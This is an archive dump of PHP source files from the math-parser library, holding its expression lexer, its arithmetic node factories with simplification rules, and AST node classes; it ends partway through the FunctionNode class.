$this->add(new TokenDefinition('/cot/', TokenType::FunctionName)); $this->add(new TokenDefinition('/arsinh|arcsinh|asinh/', TokenType::FunctionName, 'arsinh')); $this->add(new TokenDefinition('/arcosh|arccosh|acosh/', TokenType::FunctionName, 'arcosh')); $this->add(new TokenDefinition('/artanh|arctanh|atanh/', TokenType::FunctionName, 'artanh')); $this->add(new TokenDefinition('/arcoth|arccoth|acoth/', TokenType::FunctionName, 'arcoth')); $this->add(new TokenDefinition('/arcsin|asin/', TokenType::FunctionName, 'arcsin')); $this->add(new TokenDefinition('/arccos|acos/', TokenType::FunctionName, 'arccos')); $this->add(new TokenDefinition('/arctan|atan/', TokenType::FunctionName, 'arctan')); $this->add(new TokenDefinition('/arccot|acot/', TokenType::FunctionName, 'arccot')); $this->add(new TokenDefinition('/exp/', TokenType::FunctionName)); $this->add(new TokenDefinition('/log10|lg/', TokenType::FunctionName, 'lg')); $this->add(new TokenDefinition('/log/', TokenType::FunctionName, 'log')); $this->add(new TokenDefinition('/ln/', TokenType::FunctionName, 'ln')); $this->add(new TokenDefinition('/abs/', TokenType::FunctionName)); $this->add(new TokenDefinition('/arg/', TokenType::FunctionName)); $this->add(new TokenDefinition('/conj/', TokenType::FunctionName)); $this->add(new TokenDefinition('/re/', TokenType::FunctionName)); $this->add(new TokenDefinition('/im/', TokenType::FunctionName)); $this->add(new TokenDefinition('/\(/', TokenType::OpenParenthesis)); $this->add(new TokenDefinition('/\)/', TokenType::CloseParenthesis)); $this->add(new TokenDefinition('/\+/', TokenType::AdditionOperator)); $this->add(new TokenDefinition('/\-/', TokenType::SubtractionOperator)); $this->add(new TokenDefinition('/\*/', TokenType::MultiplicationOperator)); $this->add(new TokenDefinition('/\//', TokenType::DivisionOperator)); $this->add(new TokenDefinition('/\^/', TokenType::ExponentiationOperator)); $this->add(new TokenDefinition('/pi/', TokenType::Constant)); $this->add(new TokenDefinition('/e/', TokenType::Constant)); $this->add(new TokenDefinition('/i/', TokenType::Constant)); $this->add(new TokenDefinition('/[a-zA-Z]/', TokenType::Identifier)); $this->add(new TokenDefinition('/\n/', TokenType::Terminator)); $this->add(new TokenDefinition('/\s+/', TokenType::Whitespace)); } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Lexing/StdMathLexer.php000064400000014561147600365160024546 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Lexing; /** * Lexer capable of recognizing all standard mathematical expressions. * * Subclass of the generic Lexer, with TokenDefinition patterns for * numbers, elementary functions, arithmetic operations and variables. * * ### Recognized tokens * * `/\~?\d+/` matching integers matching * `/sqrt/` matching square root function * `/round/` matching rouding function * `/ceil/` matching rounding up function * `/floor/` matching rounding down function * `/sinh/` matching hyperbolic sine * `/cosh/` matching hyperbolic cosine * `/tanh/` matching hyperbolic tangent * `/coth/` matching hyperbolic cotangent * `/sind/` matching sine (argument in degrees) * `/cosd/` matching cosine (argument in degrees) * `/tand/` matching tangent (argument in degrees) * `/cotd/` matching cotangent (argument in degrees) * `/sin/` matching sine * `/cos/` matching cosine * `/tan/` matching tangent * `/cot/` matching cotangent * `/arsinh|arcsinh|asinh/` matching inverse hyperbolic sine * `/arcosh|arccosh|acosh/` matching inverse hyperbolic cosine * `/artanh|arctanh|atanh/` matching inverse hyperbolic tangent * `/arcoth|arccoth|acoth/` matching inverse hyperbolic cotangent * `/arcsin|asin/` matching inverse sine * `/arccos|acos/` matching inverse cosine * `/arctan|atan/` matching inverse tangent * `/arccot|acot/` matching inverse cotangent * `/exp/` matching exponential function * `/log10|lg/` matching logarithm (base 10) * `/log|ln/` matching natural logarithm * `/abs/` matching absolute value * `/sgn/` matching signum function * `/\(/` matching opening parenthesis (both as delimiter and function evaluation) * `/\)/` matching closing parenthesisis (both as delimiter and function evaluation) * `/\+/` matching + for addition (or unary +) * `/\-/` matching - for subtraction (or unary -) * `/\* /` matching * for multiplication * `/\//` matching / for division * `/\^/` matching ^ for exponentiation * `/pi/` matching constant pi * `/e/` matching constant e * `/[a-zA-Z]/` matching variables (note that we only allow single letter identifiers, * this improves parsing of implicit multiplication) * `/\n/` matching newline * `/\s+/` matching whitespace */ class StdMathLexer extends Lexer { public function __construct() { $this->add(new TokenDefinition('/\d+[,\.]\d+(e[+-]?\d+)?/', TokenType::RealNumber)); $this->add(new TokenDefinition('/\d+/', TokenType::PosInt)); $this->add(new TokenDefinition('/sqrt/', TokenType::FunctionName)); $this->add(new TokenDefinition('/round/', TokenType::FunctionName)); $this->add(new TokenDefinition('/ceil/', TokenType::FunctionName)); $this->add(new TokenDefinition('/floor/', TokenType::FunctionName)); $this->add(new TokenDefinition('/sinh/', TokenType::FunctionName)); $this->add(new TokenDefinition('/cosh/', TokenType::FunctionName)); $this->add(new TokenDefinition('/tanh/', TokenType::FunctionName)); $this->add(new TokenDefinition('/coth/', TokenType::FunctionName)); $this->add(new TokenDefinition('/sind/', TokenType::FunctionName)); $this->add(new TokenDefinition('/cosd/', TokenType::FunctionName)); $this->add(new TokenDefinition('/tand/', TokenType::FunctionName)); $this->add(new TokenDefinition('/cotd/', TokenType::FunctionName)); $this->add(new TokenDefinition('/sin/', TokenType::FunctionName)); $this->add(new TokenDefinition('/cos/', TokenType::FunctionName)); $this->add(new TokenDefinition('/tan/', TokenType::FunctionName)); $this->add(new TokenDefinition('/cot/', TokenType::FunctionName)); $this->add(new TokenDefinition('/arsinh|arcsinh|asinh/', TokenType::FunctionName, 'arsinh')); $this->add(new TokenDefinition('/arcosh|arccosh|acosh/', TokenType::FunctionName, 'arcosh')); $this->add(new TokenDefinition('/artanh|arctanh|atanh/', TokenType::FunctionName, 'artanh')); $this->add(new TokenDefinition('/arcoth|arccoth|acoth/', TokenType::FunctionName, 'arcoth')); $this->add(new TokenDefinition('/arcsin|asin/', TokenType::FunctionName, 'arcsin')); $this->add(new TokenDefinition('/arccos|acos/', TokenType::FunctionName, 'arccos')); $this->add(new TokenDefinition('/arctan|atan/', TokenType::FunctionName, 'arctan')); $this->add(new TokenDefinition('/arccot|acot/', TokenType::FunctionName, 'arccot')); $this->add(new TokenDefinition('/exp/', TokenType::FunctionName)); $this->add(new TokenDefinition('/log10|lg/', TokenType::FunctionName, 'lg')); $this->add(new TokenDefinition('/log/', TokenType::FunctionName, 'log')); $this->add(new TokenDefinition('/ln/', TokenType::FunctionName, 'ln')); $this->add(new TokenDefinition('/abs/', TokenType::FunctionName)); $this->add(new TokenDefinition('/sgn/', TokenType::FunctionName)); $this->add(new TokenDefinition('/\(/', TokenType::OpenParenthesis)); $this->add(new TokenDefinition('/\)/', TokenType::CloseParenthesis)); $this->add(new TokenDefinition('/\+/', TokenType::AdditionOperator)); $this->add(new TokenDefinition('/\-/', TokenType::SubtractionOperator)); $this->add(new TokenDefinition('/\*/', TokenType::MultiplicationOperator)); $this->add(new TokenDefinition('/\//', TokenType::DivisionOperator)); $this->add(new TokenDefinition('/\^/', TokenType::ExponentiationOperator)); // Postfix operators $this->add(new TokenDefinition('/\!\!/', TokenType::SemiFactorialOperator)); $this->add(new TokenDefinition('/\!/', TokenType::FactorialOperator)); $this->add(new TokenDefinition('/pi/', TokenType::Constant)); $this->add(new TokenDefinition('/e/', TokenType::Constant)); $this->add(new TokenDefinition('/NAN/', TokenType::Constant)); $this->add(new TokenDefinition('/INF/', TokenType::Constant)); $this->add(new TokenDefinition('/[a-zA-Z]/', TokenType::Identifier)); $this->add(new TokenDefinition('/\n/', TokenType::Terminator)); $this->add(new TokenDefinition('/\s+/', TokenType::Whitespace)); } } vendor/mossadal/math-parser/src/MathParser/Parsing/Nodes/Factories/SubtractionNodeFactory.php000064400000011057147600365160031717 0ustar00modules/formulas * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Parsing\Nodes\Factories; use MathParser\Parsing\Nodes\Interfaces\ExpressionNodeFactory; use MathParser\Parsing\Nodes\Node; use MathParser\Parsing\Nodes\NumberNode; use MathParser\Parsing\Nodes\IntegerNode; use MathParser\Parsing\Nodes\RationalNode; use MathParser\Parsing\Nodes\ExpressionNode; use MathParser\Parsing\Nodes\Traits\Sanitize; use MathParser\Parsing\Nodes\Traits\Numeric; /** * Factory for creating an ExpressionNode representing '-'. * * Some basic simplification is applied to the resulting Node. * */ class SubtractionNodeFactory implements ExpressionNodeFactory { use Sanitize; use Numeric; /** * Create a Node representing 'leftOperand - rightOperand' * * Using some simplification rules, create a NumberNode or ExpressionNode * giving an AST correctly representing 'rightOperand - leftOperand'. * * ### Simplification rules: * * - To simplify the use of the function, convert integer params to NumberNodes * - If $rightOperand is null, return a unary minus node '-x' instead * - If $leftOperand and $rightOperand are both NumberNodes, return a single NumberNode containing their difference * - If $rightOperand is a NumberNode representing 0, return $leftOperand unchanged * - If $leftOperand and $rightOperand are equal, return '0' * * @param Node|int|float $leftOperand Minuend * @param Node|int|float $rightOperand Subtrahend * @retval Node */ public function makeNode($leftOperand, $rightOperand) { if ($rightOperand === null) return $this->createUnaryMinusNode($leftOperand); $leftOperand = $this->sanitize($leftOperand); $rightOperand = $this->sanitize($rightOperand); $node = $this->numericTerms($leftOperand, $rightOperand); if ($node) return $node; if ($leftOperand->compareTo($rightOperand)) { return new IntegerNode(0); } return new ExpressionNode($leftOperand, '-', $rightOperand); } /** Simplify subtraction nodes for numeric operands * @param Node $leftOperand * @param Node $rightOperand * @retval Node|null */ protected function numericTerms($leftOperand, $rightOperand) { if ($this->isNumeric($rightOperand) && $rightOperand->getValue() == 0) return $leftOperand; if (!$this->isNumeric($leftOperand) || !$this->isNumeric($rightOperand)) { return null; } $type = $this->resultingType($leftOperand, $rightOperand); switch($type) { case Node::NumericFloat: return new NumberNode($leftOperand->getValue() - $rightOperand->getValue()); case Node::NumericRational: $p = $leftOperand->getNumerator() * $rightOperand->getDenominator() - $leftOperand->getDenominator() * $rightOperand->getNumerator(); $q = $leftOperand->getDenominator() * $rightOperand->getDenominator(); return new RationalNode($p, $q); case Node::NumericInteger: return new IntegerNode($leftOperand->getValue() - $rightOperand->getValue()); } return null; } /** * Create a Node representing '-$operand' * * Using some simplification rules, create a NumberNode or ExpressionNode * giving an AST correctly representing '-$operand'. * * ### Simplification rules: * * - To simplify the use of the function, convert integer params to NumberNodes * - If $operand is a NumberNodes, return a single NumberNode containing its negative * - If $operand already is a unary minus, 'x=-y', return y * * @param Node|int $operand Operand * @retval Node */ public function createUnaryMinusNode($operand) { $operand = $this->sanitize($operand); if ($operand instanceof NumberNode) { return new NumberNode(-$operand->getValue()); } if ($operand instanceof IntegerNode) { return new IntegerNode(-$operand->getValue()); } if ($operand instanceof RationalNode) { return new RationalNode(-$operand->getNumerator(), $operand->getDenominator()); } // --x => x if ($operand instanceof ExpressionNode && $operand->getOperator() == '-' && $operand->getRight() === null) { return $operand->getLeft(); } return new ExpressionNode($operand, '-', null); } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Parsing/Nodes/Factories/NodeFactory.php000064400000012542147600365160027560 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ /** @namespace MathParser::Parsing::Nodes::Factories * * Classes implementing the ExpressionNodeFactory interfaces, * and related functionality. * */ namespace MathParser\Parsing\Nodes\Factories; use MathParser\Parsing\Nodes\Factories\AdditionNodeFactory; use MathParser\Parsing\Nodes\Factories\SubtractionNodeFactory; use MathParser\Parsing\Nodes\Factories\MultiplicationNodeFactory; use MathParser\Parsing\Nodes\Factories\DivisionNodeFactory; use MathParser\Parsing\Nodes\Factories\ExponentiationNodeFactory; use MathParser\Parsing\Nodes\Factories\UnaryMinusNodeFactory; use MathParser\Parsing\Nodes\ExpressionNode; /** * Helper class for creating ExpressionNodes. * * Wrapper class, setting up factories for creating ExpressionNodes * of various types (one for each operator). These factories take * case of basic simplification. * * ### Examples * * ~~~{.php} * use MathParser\Parsing\Nodes\Factories\NodeFactory; * * $factory = new NodeFactory(); * // Create AST for 'x/y + x*y' * $node = $factory->addition( * $factory->division(new VariableNode('x'), new VariableNode('y')), * $factory->multiplication(new VariableNode('x'), new VariableNode('y')) * ); * ~~~ */ class NodeFactory { /** * Factory for creating addition nodes * * @var AdditionNodeFactory $additionFactory; **/ protected $additionFactory; /** * Factory for creating subtraction nodes (including unary minus) * * @var SubtractionNodeFactory $subtractionFactory; **/ protected $subtractionFactory; /** * Factory for creating multiplication nodes * * @var MultiplicationNodeFactory $multiplicationFactory; **/ protected $multiplicationFactory; /** * Factory for creating division nodes * * @var DivisionByZeroException $divisionFactory; **/ protected $divisionFactory; /** * Factory for creating exponentiation nodes * * @var ExponentiationNodeFactory $exponentiationFactory; **/ protected $exponentiationFactory; /** * Constructor */ public function __construct() { $this->additionFactory = new AdditionNodeFactory(); $this->subtractionFactory = new SubtractionNodeFactory(); $this->multiplicationFactory = new MultiplicationNodeFactory(); $this->divisionFactory = new DivisionNodeFactory(); $this->exponentiationFactory = new ExponentiationNodeFactory(); } /** * Create an addition node representing '$leftOperand + $rightOperand'. * * @param mixed $leftOperand * @param mixed $rightOperand * @retval ExpressionNode * */ public function addition($leftOperand, $rightOperand) { return $this->additionFactory->makeNode($leftOperand, $rightOperand); } /** * Create a subtraction node representing '$leftOperand - $rightOperand'. * * @param mixed $leftOperand * @param mixed $rightOperand * @retval ExpressionNode * */ public function subtraction($leftOperand, $rightOperand) { return $this->subtractionFactory->makeNode($leftOperand, $rightOperand); } /** * Create a multiplication node representing '$leftOperand * $rightOperand'. * * @param mixed $leftOperand * @param mixed $rightOperand * @retval ExpressionNode * */ public function multiplication($leftOperand, $rightOperand) { return $this->multiplicationFactory->makeNode($leftOperand, $rightOperand); } /** * Create a division node representing '$leftOperand / $rightOperand'. * * @param mixed $leftOperand * @param mixed $rightOperand * @retval ExpressionNode * */ public function division($leftOperand, $rightOperand) { return $this->divisionFactory->makeNode($leftOperand, $rightOperand); } /** * Create an exponentiation node representing '$leftOperand ^ $rightOperand'. * * @param mixed $leftOperand * @param mixed $rightOperand * @retval ExpressionNode * */ public function exponentiation($leftOperand, $rightOperand) { return $this->exponentiationFactory->makeNode($leftOperand, $rightOperand); } /** * Create a unary minus node representing '-$operand'. * * @param mixed $operand * @retval ExpressionNode * */ public function unaryMinus($operand) { return $this->subtractionFactory->createUnaryMinusNode($operand); } /** * Simplify the given ExpressionNode, using the appropriate factory. * * @param ExpressionNode $node * @retval Node Simplified version of the input */ public function simplify(ExpressionNode $node) { switch($node->getOperator()) { case '+': return $this->addition($node->getLeft(), $node->getRight()); case '-': return $this->subtraction($node->getLeft(), $node->getRight()); case '*': return $this->multiplication($node->getLeft(), $node->getRight()); case '/': return $this->division($node->getLeft(), $node->getRight()); case '^': return $this->exponentiation($node->getLeft(), $node->getRight()); } } } vendor/mossadal/math-parser/src/MathParser/Parsing/Nodes/Factories/MultiplicationNodeFactory.php000064400000006450147600365160032420 0ustar00modules/formulas * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Parsing\Nodes\Factories; use MathParser\Parsing\Nodes\Interfaces\ExpressionNodeFactory; use MathParser\Parsing\Nodes\Node; use MathParser\Parsing\Nodes\NumberNode; use MathParser\Parsing\Nodes\IntegerNode; use MathParser\Parsing\Nodes\RationalNode; use MathParser\Parsing\Nodes\ExpressionNode; use MathParser\Parsing\Nodes\Traits\Sanitize; use MathParser\Parsing\Nodes\Traits\Numeric; /** * Factory for creating an ExpressionNode representing '*'. * * Some basic simplification is applied to the resulting Node. * */ class MultiplicationNodeFactory implements ExpressionNodeFactory { use Sanitize; use Numeric; /** * Create a Node representing 'leftOperand * rightOperand' * * Using some simplification rules, create a NumberNode or ExpressionNode * giving an AST correctly representing 'leftOperand * rightOperand'. * * ### Simplification rules: * * - To simplify the use of the function, convert integer params to NumberNodes * - If $leftOperand and $rightOperand are both NumberNodes, return a single NumberNode containing their product * - If $leftOperand or $rightOperand is a NumberNode representing 0, return '0' * - If $leftOperand or $rightOperand is a NumberNode representing 1, return the other factor * * @param Node|int $leftOperand First factor * @param Node|int $rightOperand Second factor * @retval Node */ public function makeNode($leftOperand, $rightOperand) { $leftOperand = $this->sanitize($leftOperand); $rightOperand = $this->sanitize($rightOperand); $node = $this->numericFactors($leftOperand, $rightOperand); if ($node) return $node; return new ExpressionNode($leftOperand, '*', $rightOperand); } /** * Simplify a*b when a or b are certain numeric values * * @param Node $leftOperand * @param Node $rightOperand * @retval Node|null **/ private function numericFactors($leftOperand, $rightOperand) { if ($this->isNumeric($rightOperand)) { if ($rightOperand->getValue() == 0) return new IntegerNode(0); if ($rightOperand->getValue() == 1) return $leftOperand; } if ($this->isNumeric($leftOperand)) { if ($leftOperand->getValue() == 0) return new IntegerNode(0); if ($leftOperand->getValue() == 1) return $rightOperand; } if (!$this->isNumeric($leftOperand) || !$this->isNumeric($rightOperand)) { return null; } $type = $this->resultingType($leftOperand, $rightOperand); switch($type) { case Node::NumericFloat: return new NumberNode($leftOperand->getValue() * $rightOperand->getValue()); case Node::NumericRational: $p = $leftOperand->getNumerator() * $rightOperand->getNumerator(); $q = $leftOperand->getDenominator() * $rightOperand->getDenominator(); return new RationalNode($p, $q); case Node::NumericInteger: return new IntegerNode($leftOperand->getValue() * $rightOperand->getValue()); } return null; } } formulas/vendor/mossadal/math-parser/src/MathParser/Parsing/Nodes/Factories/DivisionNodeFactory.php000064400000006730147600365160031210 0ustar00modules * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Parsing\Nodes\Factories; use MathParser\Parsing\Nodes\Interfaces\ExpressionNodeFactory; use MathParser\Parsing\Nodes\Node; use MathParser\Parsing\Nodes\NumberNode; use MathParser\Parsing\Nodes\IntegerNode; use MathParser\Parsing\Nodes\RationalNode; use MathParser\Parsing\Nodes\ExpressionNode; use MathParser\Parsing\Nodes\Traits\Sanitize; use MathParser\Parsing\Nodes\Traits\Numeric; use MathParser\Exceptions\DivisionByZeroException; /** * Factory for creating an ExpressionNode representing '/'. * * Some basic simplification is applied to the resulting Node. * */ class DivisionNodeFactory implements ExpressionNodeFactory { use Sanitize; use Numeric; /** * Create a Node representing '$leftOperand/$rightOperand' * * Using some simplification rules, create a NumberNode or ExpressionNode * giving an AST correctly representing '$leftOperand/$rightOperand'. * * ### Simplification rules: * * - To simplify the use of the function, convert integer params to NumberNodes * - If $leftOperand is a NumberNode representing 0, return 0 * - If $rightOperand is a NumberNode representing 1, return $leftOperand * - If $leftOperand and $rightOperand are equal, return '1' * * @param Node|int $leftOperand Numerator * @param Node|int $rightOperand Denominator * @retval Node */ public function makeNode($leftOperand, $rightOperand) { $leftOperand = $this->sanitize($leftOperand); $rightOperand = $this->sanitize($rightOperand); // Return rational number? // if ($leftOperand instanceof NumberNode && $rightOperand instanceof NumberNode) // return new NumberNode($leftOperand->getValue() / $rightOperand->getValue()); $node = $this->numericFactors($leftOperand, $rightOperand); if ($node) return $node; if ($leftOperand->compareTo($rightOperand)) { return new IntegerNode(1); } return new ExpressionNode($leftOperand, '/', $rightOperand); } /** Simplify division nodes when factors are numeric * @param Node $leftOperand * @param Node $rightOperand * @retval Node|null **/ protected function numericFactors($leftOperand, $rightOperand) { if ($this->isNumeric($rightOperand) && $rightOperand->getValue() == 0) { throw new DivisionByZeroException(); } if ($this->isNumeric($rightOperand) && $rightOperand->getValue() == 1) { return $leftOperand; } if ($this->isNumeric($leftOperand) && $leftOperand->getValue() == 0) { return new IntegerNode(0); } if (!$this->isNumeric($leftOperand) || !$this->isNumeric($rightOperand)) { return null; } $type = $this->resultingType($leftOperand, $rightOperand); switch($type) { case Node::NumericFloat: return new NumberNode($leftOperand->getValue() / $rightOperand->getValue()); case Node::NumericRational: case Node::NumericInteger: $p = $leftOperand->getNumerator() * $rightOperand->getDenominator(); $q = $leftOperand->getDenominator() * $rightOperand->getNumerator(); return new RationalNode($p, $q); } return null; } } formulas/vendor/mossadal/math-parser/src/MathParser/Parsing/Nodes/Factories/AdditionNodeFactory.php000064400000006106147600365160031154 0ustar00modules * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Parsing\Nodes\Factories; use MathParser\Parsing\Nodes\Interfaces\ExpressionNodeFactory; use MathParser\Parsing\Nodes\Node; use MathParser\Parsing\Nodes\NumberNode; use MathParser\Parsing\Nodes\IntegerNode; use MathParser\Parsing\Nodes\RationalNode; use MathParser\Parsing\Nodes\ExpressionNode; use MathParser\Parsing\Nodes\Traits\Sanitize; use MathParser\Parsing\Nodes\Traits\Numeric; /** * Factory for creating an ExpressionNode representing '+'. * * Some basic simplification is applied to the resulting Node. * */ class AdditionNodeFactory implements ExpressionNodeFactory { use Sanitize; use Numeric; /** * Create a Node representing 'leftOperand + rightOperand' * * Using some simplification rules, create a NumberNode or ExpressionNode * giving an AST correctly representing 'leftOperand + rightOperand'. * * ### Simplification rules: * * - To simplify the use of the function, convert integer or float params to NumberNodes * - If $leftOperand and $rightOperand are both NumberNodes, return a single NumberNode containing their sum * - If $leftOperand or $rightOperand are NumberNodes representing 0, return the other term unchanged * * @param Node|int $leftOperand First term * @param Node|int $rightOperand Second term * @retval Node */ public function makeNode($leftOperand, $rightOperand) { $leftOperand = $this->sanitize($leftOperand); $rightOperand = $this->sanitize($rightOperand); $node = $this->numericTerms($leftOperand, $rightOperand); if ($node) return $node; return new ExpressionNode($leftOperand, '+', $rightOperand); } /** Simplify addition node when operands are numeric * * @param Node $leftOperand * @param Node $rightOperand * @retval Node|null */ protected function numericTerms($leftOperand, $rightOperand) { if ($this->isNumeric($leftOperand) && $leftOperand->getValue() == 0) return $rightOperand; if ($this->isNumeric($rightOperand) && $rightOperand->getValue() == 0) return $leftOperand; if (!$this->isNumeric($leftOperand) || !$this->isNumeric($rightOperand)) { return null; } $type = $this->resultingType($leftOperand, $rightOperand); switch($type) { case Node::NumericFloat: return new NumberNode($leftOperand->getValue() + $rightOperand->getValue()); case Node::NumericRational: $p = $leftOperand->getNumerator() * $rightOperand->getDenominator() + $leftOperand->getDenominator() * $rightOperand->getNumerator(); $q = $leftOperand->getDenominator() * $rightOperand->getDenominator(); return new RationalNode($p, $q); case Node::NumericInteger: return new IntegerNode($leftOperand->getValue() + $rightOperand->getValue()); } return null; } } vendor/mossadal/math-parser/src/MathParser/Parsing/Nodes/Factories/ExponentiationNodeFactory.php000064400000010324147600365160032422 0ustar00modules/formulas * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Parsing\Nodes\Factories; use MathParser\Parsing\Nodes\Interfaces\ExpressionNodeFactory; use MathParser\Parsing\Nodes\Node; use MathParser\Parsing\Nodes\NumberNode; use MathParser\Parsing\Nodes\IntegerNode; use MathParser\Parsing\Nodes\RationalNode; use MathParser\Parsing\Nodes\ExpressionNode; use MathParser\Parsing\Nodes\Traits\Sanitize; use MathParser\Parsing\Nodes\Traits\Numeric; use MathParser\Exceptions\DivisionByZeroException; /** * Factory for creating an ExpressionNode representing '^'. * * Some basic simplification is applied to the resulting Node. * */ class ExponentiationNodeFactory implements ExpressionNodeFactory { use Sanitize; use Numeric; /** * Create a Node representing '$leftOperand^$rightOperand' * * Using some simplification rules, create a NumberNode or ExpressionNode * giving an AST correctly representing '$leftOperand^$rightOperand'. * * ### Simplification rules: * * - To simplify the use of the function, convert integer params to NumberNodes * - If $leftOperand and $rightOperand are both NumberNodes, return a single NumberNode containing x^y * - If $rightOperand is a NumberNode representing 0, return '1' * - If $rightOperand is a NumberNode representing 1, return $leftOperand * - If $leftOperand is already a power x=a^b and $rightOperand is a NumberNode, return a^(b*y) * * @param Node|int $leftOperand Minuend * @param Node|int $rightOperand Subtrahend * @retval Node */ public function makeNode($leftOperand, $rightOperand) { $leftOperand = $this->sanitize($leftOperand); $rightOperand = $this->sanitize($rightOperand); // Simplification if the exponent is a number. if ($this->isNumeric($rightOperand)) { $node = $this->numericExponent($leftOperand, $rightOperand); if ($node) return $node; } $node = $this->doubleExponentiation($leftOperand, $rightOperand); if ($node) return $node; return new ExpressionNode($leftOperand, '^', $rightOperand); } /** Simplify an expression x^y, when y is numeric. * * @param Node $leftOperand * @param Node $rightOperand * @retval Node|null */ private function numericExponent($leftOperand, $rightOperand) { // 0^0 throws an exception if ($this->isNumeric($leftOperand) && $this->isNumeric($rightOperand)) { if ($leftOperand->getValue() == 0 && $rightOperand->getValue() == 0) throw new DivisionByZeroException(); } // x^0 = 1 if ($rightOperand->getValue() == 0) return new IntegerNode(1); // x^1 = x if ($rightOperand->getValue() == 1) return $leftOperand; if (!$this->isNumeric($leftOperand) || !$this->isNumeric($rightOperand)) { return null; } $type = $this->resultingType($leftOperand, $rightOperand); // Compute x^y if both are numbers. switch($type) { case Node::NumericFloat: return new NumberNode(pow($leftOperand->getValue(), $rightOperand->getValue())); case Node::NumericInteger: if ($rightOperand->getValue() > 0) { return new IntegerNode(pow($leftOperand->getValue(), $rightOperand->getValue())); } } // No simplification found return null; } /** Simplify (x^a)^b when a and b are both numeric. * @param Node $leftOperand * @param Node $rightOperand * @retval Node|null */ private function doubleExponentiation($leftOperand, $rightOperand) { // (x^a)^b -> x^(ab) for a, b numbers if ($leftOperand instanceof ExpressionNode && $leftOperand->getOperator() == '^') { $factory = new MultiplicationNodeFactory(); $power = $factory->makeNode($leftOperand->getRight(), $rightOperand); $base = $leftOperand->getLeft(); return self::makeNode($base, $power); } // No simplification found return null; } } vendor/mossadal/math-parser/src/MathParser/Parsing/Nodes/Interfaces/ExpressionNodeFactory.php000064400000001527147600365160031726 0ustar00modules/formulas * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ /** * @namespace MathParser::Parsing::Nodes::Interfaces * * Interfaces for Nodes, in particular Node factories. */ namespace MathParser\Parsing\Nodes\Interfaces; use MathParser\Parsing\Nodes\NumberNode; /** * Interface for construction of ExpressionNode, the * implementations of the interface, usually involves * some simplification of the operands. * */ interface ExpressionNodeFactory { /** * Factory method to create an ExpressionNode with given operands. * * @param mixed $leftOperand * @param mixed $rightOperand * @retval ExpressionNode|NumberNode */ public function makeNode($leftOperand, $rightOperand); } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Parsing/Nodes/Traits/Numeric.php000064400000002367147600365160026300 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ /** @namespace MathParser::Parsing::Nodes::Traits * * Traits for Nodes */ namespace MathParser\Parsing\Nodes\Traits; use MathParser\Parsing\Nodes\Node; use MathParser\Parsing\Nodes\NumberNode; use MathParser\Parsing\Nodes\IntegerNode; use MathParser\Parsing\Nodes\RationalNode; /** * Trait for upgrading numbers (ints and floats) to NumberNode, * making it possible to call the Node constructors directly * with numbers, making the code cleaner. * */ trait Numeric { protected function isNumeric($operand) { return ($operand instanceof NumberNode || $operand instanceof IntegerNode || $operand instanceof RationalNode); } protected function orderType($node) { if ($node instanceof IntegerNode) return Node::NumericInteger; if ($node instanceof RationalNode) return Node::NumericRational; if ($node instanceof NumberNode) return Node::NumericFloat; return 0; } protected function resultingType($node, $other) { return max($this->orderType($node), $this->orderType($other)); } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Parsing/Nodes/Traits/Sanitize.php000064400000001716147600365160026461 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ /** @namespace MathParser::Parsing::Nodes::Traits * * Traits for Nodes */ namespace MathParser\Parsing\Nodes\Traits; use MathParser\Parsing\Nodes\NumberNode; use MathParser\Parsing\Nodes\IntegerNode; use MathParser\Parsing\Nodes\RationalNode; /** * Trait for upgrading numbers (ints and floats) to NumberNode, * making it possible to call the Node constructors directly * with numbers, making the code cleaner. * */ trait Sanitize { /** * Convert ints and floats to NumberNodes * * @param Node|int|float $operand * @retval Node **/ protected function sanitize($operand) { if (is_int($operand)) return new IntegerNode($operand); if (is_float($operand)) return new NumberNode($operand); return $operand; } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Parsing/Nodes/VariableNode.php000064400000002315147600365160025754 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Parsing\Nodes; use MathParser\Interpreting\Visitors\Visitor; /** * AST node representing a variable */ class VariableNode extends Node { /** string $name Name of represented variable, e.g. 'x' */ private $name; /** Constructor. Create a VariableNode with a given variable name. */ function __construct($name) { $this->name = $name; } /** * Return the name of the variable * @retval string */ public function getName() { return $this->name; } /** * Implementing the Visitable interface. */ public function accept(Visitor $visitor) { return $visitor->visitVariableNode($this); } /** Implementing the compareTo abstract method. */ public function compareTo($other) { if ($other === null) { return false; } if (!($other instanceof VariableNode)) { return false; } return $this->getName() == $other->getName(); } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Parsing/Nodes/FunctionNode.php000064400000003612147600365160026015 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Parsing\Nodes; use MathParser\Interpreting\Visitors\Visitor; /** * AST node representing a function applications (e.g. sin(...)) */ class FunctionNode extends Node { /** string $name Function name, e.g. 'sin' */ private $name; /** Node $operand AST of function operand */ private $operand; /** Constructor, create a FunctionNode with given name and operand */ function __construct($name, $operand) { $this->name = $name; if (is_int($operand)) $operand = new NumberNode($operand); $this->operand = $operand; } /** * Return the name of the function * @retval string */ public function getName() { return $this->name; } /** * Return the operand * @retval Node */ public function getOperand() { return $this->operand; } /** * Set the operand * @retval void */ public function setOperand($operand) { return $this->operand = $operand; } public function getOperator() { return $this->name; } 